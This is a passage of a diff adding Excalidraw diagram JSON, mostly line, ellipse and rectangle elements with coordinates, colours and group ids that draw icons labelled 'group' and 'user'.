"endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2484, + "versionNonce": 346952928, + "index": "c0UZRV", + "isDeleted": false, + "id": "kGN7_XE4gFT3RXveYCTNC", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2050.2096756026117, + "y": -1379.175211736223, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1260040376, + "groupIds": [ + "Y3H6qyPhspTU6VrgYV6i7", + "Y1yLvgxDtoiB93sqTgO3m", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 1483, + "versionNonce": 64518368, + "index": "c0UZS", + "isDeleted": false, + "id": "wBoiuqOtEEAls1qge5dk6", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2020.1921456505656, + "y": -1356.8073087889325, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 55.90803130280412, + "height": 58.5684790292792, + "seed": 1190386104, + "groupIds": [ + "CegardCBXEdTuf0foy_V5", + "Y1yLvgxDtoiB93sqTgO3m", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1430, + "versionNonce": 1746296032, + "index": "c0UZSG", + "isDeleted": false, + "id": "5HfYXFKO5NvCgptcz0F6C", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2034.5756339132013, + "y": -1345.857779756523, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.58875849780165, + "height": 13.454879103734601, + "seed": 532669112, + "groupIds": [ + "CegardCBXEdTuf0foy_V5", + "Y1yLvgxDtoiB93sqTgO3m", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1876, + "versionNonce": 1391968480, + "index": "c0UZSV", + "isDeleted": false, + "id": "sq-2g_ERvYafQPYUgVq6T", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2041.409570438581, + "y": -1313.1593894835078, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 31.783543676342507, + "height": 13.918978465213142, + "seed": 1948437432, + "groupIds": [ + "CegardCBXEdTuf0foy_V5", + "Y1yLvgxDtoiB93sqTgO3m", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 17.730959244915365, + -0.1808252282475413 + ], + [ + 29.71742581449307, + -0.35305333625780855 + ], + [ + 31.783543676342507, + -4.327489486701453 + ], + [ + 30.340477197762898, + -9.283344928316293 + ], + [ + 17.514688404559408, + -13.918978465213142 + ], + [ + 1.5389341823978422, + -9.202528897948524 + ], + [ + 1.078482143505145, + -5.150240331632775 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1790, + "versionNonce": 604808416, + "index": "c0UZT", + "isDeleted": false, + "id": "IiJAT_-wgtOOAh1rviu6g", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2027.2380341014814, + "y": -1312.743686238793, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 28.075667542428437, + "height": 13.918978465213142, + "seed": 1849726136, + "groupIds": [ + "CegardCBXEdTuf0foy_V5", + "Y1yLvgxDtoiB93sqTgO3m", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 15.662461116289132, + -0.1808252282475413 + ], + [ + 26.250583505750214, + -0.35305333625780855 + ], + [ + 28.075667542428437, + -4.327489486701453 + ], + [ + 26.800949559223167, + -9.283344928316293 + ], + [ + 15.471420486119406, + -13.918978465213142 + ], + [ + 1.3594017367811881, + -9.202528897948524 + ], + [ + 0.9526661476087624, + -5.150240331632775 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1518, + "versionNonce": 1222969568, + "index": "c0UZTG", + "isDeleted": false, + "id": "SGPt_Tde86ZcIn-WF1IGb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2050.044791355903, + "y": -1345.9598410299259, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.58875849780165, + "height": 13.454879103734601, + "seed": 1404911032, + "groupIds": [ + "CegardCBXEdTuf0foy_V5", + "Y1yLvgxDtoiB93sqTgO3m", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1214, + "versionNonce": 2098261216, + "index": "c0UZTV", + "isDeleted": false, + "id": "G5jGIVHW", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2027.2024337979365, + "y": -1300.9293277969077, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 46.7120725983501, + "height": 22.935001028129516, + "seed": 364693176, + "groupIds": [ + "Y1yLvgxDtoiB93sqTgO3m", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "fontSize": 18.34800082250361, + "fontFamily": 1, + "text": "group", + "rawText": "group", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "group", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3579, + "versionNonce": 169890016, + "index": "c0UZU", + "isDeleted": false, + "id": "Zz_cQmpbs4CfRz3PcP_-c", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2155.886975440547, + "y": -1384.391156296816, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1625501624, + "groupIds": [ + "mjARjiki-Kx24a3LgGWGX", + "ur2R3Fny134-WR5YJ5a7A", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2425, + "versionNonce": 128136416, + "index": "c0UZU8", + "isDeleted": false, + "id": "IsYcqyuk4O0AB1ay_czVn", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2157.044830208392, + "y": -1385.302357878948, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 760510648, + "groupIds": [ + "mjARjiki-Kx24a3LgGWGX", + "ur2R3Fny134-WR5YJ5a7A", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 1176, + "versionNonce": 455710944, + "index": "c0UZUG", + "isDeleted": false, + "id": "FFYpzuo5CPMbubhs1SZ_S", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2130.780948247735, + "y": -1364.4976373432582, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 55.90803130280412, + "height": 58.5684790292792, + "seed": 1320460728, + "groupIds": [ + "3490XfwOmU0I7eXGRKVRc", + "ur2R3Fny134-WR5YJ5a7A", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1030, + "versionNonce": 943946976, + "index": "c0UZUV", + "isDeleted": false, + "id": "G_qOdGbhwq_20HqDxFZwZ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2150.8111484683204, + "y": -1354.0968640059546, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 15.996657448855798, + "height": 15.839054912413824, + "seed": 69708472, + "groupIds": [ + "3490XfwOmU0I7eXGRKVRc", + "ur2R3Fny134-WR5YJ5a7A", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1387, + "versionNonce": 1619058912, + "index": "c0UZUd", + "isDeleted": false, + "id": "r_xel3YYzY9kkiGGK6zyu", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2140.6457848678165, + "y": -1315.484242577681, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 37.415519657918004, + "height": 16.38539168843394, + "seed": 139563960, + "groupIds": [ + "3490XfwOmU0I7eXGRKVRc", + "ur2R3Fny134-WR5YJ5a7A", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 20.872847311726073, + -0.21286707206217828 + ], + [ + 34.983290128611515, + -0.41561363256294004 + ], + [ + 37.415519657918004, + -5.094311370938487 + ], + [ + 35.716744884821615, + -10.92833380046255 + ], + [ + 20.61825374087778, + -16.38539168843394 + ], + [ + 1.8116300290520175, + -10.833197342310129 + ], + [ + 1.269586873381446, + -6.062851906429807 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "text", + "version": 1044, + "versionNonce": 1668400352, + "index": "c0UZUl", + "isDeleted": false, + "id": "gD8F7etN", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2140.0221606539653, + "y": -1306.614251522253, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 38.30903842838716, + "height": 22.935001028129516, + "seed": 559307960, + "groupIds": [ + "ur2R3Fny134-WR5YJ5a7A", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "user", + "rawText": "user", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "user", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3675, + "versionNonce": 514205920, + "index": "c0UZV", + "isDeleted": false, + "id": "ph9mobZg8GIib4UAJT2p4", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2378.722561489182, + "y": -1557.0091334189628, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 239.18398837749612, + "height": 240.82472053958986, + "seed": 819594680, + "groupIds": [ + "x8qvULDCwQlp6yRy6Lx6-", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -93.3167003202741, + 45.06407479238995 + ], + [ + -115.0760221011569, + 151.8338877728392 + ], + [ + -47.72123988895771, + 235.8729120963148 + ], + [ + 57.05943089673669, + 238.2968966143365 + ], + [ + 124.10796627633923, + 152.1924617057943 + ], + [ + 106.78977397829605, + 54.26839892040008 + ], + [ + 1.982261618725252, + -2.5278239252533674 + ] + ] + }, + { + "type": "line", + "version": 2521, + "versionNonce": 1034816736, + "index": "c0UZVG", + "isDeleted": false, + "id": "Qu1VQxdlu0LUGuVLQTqnP", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2381.3156911432834, + "y": -1559.0498589996769, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 237.14008302680494, + "height": 237.4929700551186, + "seed": 1140887224, + "groupIds": [ + "x8qvULDCwQlp6yRy6Lx6-", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -94.57372358807096, + 45.522426652467004 + ], + [ + -117.51138042846135, + 151.7414221748901 + ], + [ + -52.58016721874093, + 236.0814219418638 + ], + [ + 52.580167218741046, + 237.4929700551186 + ], + [ + 119.62870259834358, + 151.38853514657637 + ], + [ + 96.33815872963952, + 45.16953962415332 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2931, + "versionNonce": 2048487648, + "index": "c0UZVV", + "isDeleted": false, + "id": "vOtWoHKSMvOZ3W1BGN9r3", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2381.9234259545087, + "y": -1520.6475957739085, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 144.92190277638542, + "height": 143.92671664035024, + "seed": 594409400, + "groupIds": [ + "CwyZSlBSdJU88TXYPaYTE", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -57.796235035820374, + 27.587736176233545 + ], + [ + -71.81397860794098, + 91.95912058744518 + ], + [ + -32.132981419168765, + 143.07128296046704 + ], + [ + 32.13298141916884, + 143.92671664035024 + ], + [ + 73.10792416844447, + 91.74526216747438 + ], + [ + 58.8745230029066, + 27.373877756262754 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1238, + "versionNonce": 1534612704, + "index": "c0UZVl", + "isDeleted": false, + "id": "hsLI0N_9Z_hqfGSZX-KQU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2351.8497618883357, + "y": -1450.2900552152232, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 20.902438323372518, + "height": 21.172495666051674, + "seed": 1665548472, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1180, + "versionNonce": 2002434272, + "index": "c0UZW", + "isDeleted": false, + "id": "1zTG84dV8v11PxPhM2Xsc", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2362.32798678429, + "y": -1449.9659864040086, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.1882523077885643, + "height": 4.158883077260145, + "seed": 1932356024, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1882523077885643, + -4.158883077260145 + ] + ] + }, + { + "type": "line", + "version": 1163, + "versionNonce": 827366624, + "index": "c0UZWG", + "isDeleted": false, + "id": "1hCdh1pnIZdvzHhN_IPPH", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2369.2954662254147, + "y": -1448.0755850052537, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.566332587539521, + "seed": 776434360, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.158883077260126, + -1.566332587539521 + ] + ] + }, + { + "type": "line", + "version": 1166, + "versionNonce": 2062156000, + "index": "c0UZWV", + "isDeleted": false, + "id": "dhnmpR1ouI58Wq4QP0I_R", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2371.942028183669, + "y": -1439.9198532563419, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.455158322120268, + "height": 1.0802293707169108, + "seed": 1798855608, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.455158322120268, + 1.0802293707169108 + ] + ] + }, + { + "type": "line", + "version": 1164, + "versionNonce": 330753248, + "index": "c0UZX", + "isDeleted": false, + "id": "MydzmdCDvTNSspEVpC_Rx", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2370.1056382534525, + "y": -1431.8181329759645, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8626078323999846, + "height": 3.51074545482998, + "seed": 203695288, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8626078323999846, + 3.51074545482998 + ] + ] + }, + { + "type": "line", + "version": 1156, + "versionNonce": 1229408480, + "index": "c0UZXG", + "isDeleted": false, + "id": "sMwojfcxHvDll2f8DJIjY", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2362.05792944161, + "y": -1428.955525143565, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.6481376224303735, + "height": 4.644986294082755, + "seed": 246336952, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.6481376224303735, + 4.644986294082755 + ] + ] + }, + { + "type": "line", + "version": 1158, + "versionNonce": 925576416, + "index": "c0UZXV", + "isDeleted": false, + "id": "Jmkrb6AZVX_Pe6wtRpFB6", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2355.7385876229164, + "y": -1432.6823164725379, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.6727798604375725, + "height": 4.158883077260126, + "seed": 469522104, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.6727798604375725, + 4.158883077260126 + ] + ] + }, + { + "type": "line", + "version": 1166, + "versionNonce": 116560096, + "index": "c0UZY", + "isDeleted": false, + "id": "zOT325gpM3D96RPkJUbgb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2353.2540600702687, + "y": -1439.9738647248769, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 7.075502378195748, + "height": 0, + "seed": 414236600, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -7.075502378195748, + 0 + ] + ] + }, + { + "type": "line", + "version": 1162, + "versionNonce": 808285408, + "index": "c0UZYG", + "isDeleted": false, + "id": "TwXGmhHA_gJSWntprKbl3", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2356.87282846217, + "y": -1447.8055276625755, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.0802293707169108, + "seed": 888146104, + "groupIds": [ + "lFNILy1WGz6cTkpJGPtKb", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.158883077260126, + -1.0802293707169108 + ] + ] + }, + { + "type": "ellipse", + "version": 1229, + "versionNonce": 946591968, + "index": "c0UZYV", + "isDeleted": false, + "id": "1Nvz5UQou8J-NDfCiNVN_", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2379.050402529224, + "y": -1442.4750198131724, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 32.2577331788317, + "height": 32.67449975736946, + "seed": 2086547896, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1171, + "versionNonce": 1933425888, + "index": "c0UZZ", + "isDeleted": false, + "id": "Vat-5NWD2GJ1qIAyQTwtG", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2395.2209457764925, + "y": -1441.9748999189278, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.833772945566576, + "height": 6.41820530948328, + "seed": 1713322680, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.833772945566576, + -6.41820530948328 + ] + ] + }, + { + "type": "line", + "version": 1154, + "versionNonce": 1110647008, + "index": "c0UZZG", + "isDeleted": false, + "id": "084nJnfBTLb3cGHr8Y56U", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2405.973523502771, + "y": -1439.0575338691629, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 6.418205309483252, + "height": 2.4172461555196554, + "seed": 1691820984, + "groupIds": [ + "YLYq0ez-IIzDAUdiSuYCl", + "SqVIxP4GwbnJjQW0CpL-Y", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453342, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 6.418205309483252, + -2.4172461555196554 + ] + ] + }, + { + "type": "line", + "version": 1157, + "versionNonce": 1423705312, + "index": "c0UZZV", + "isDeleted": false, + "id": "z9F__fVRBy7EEk793OLvr", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + 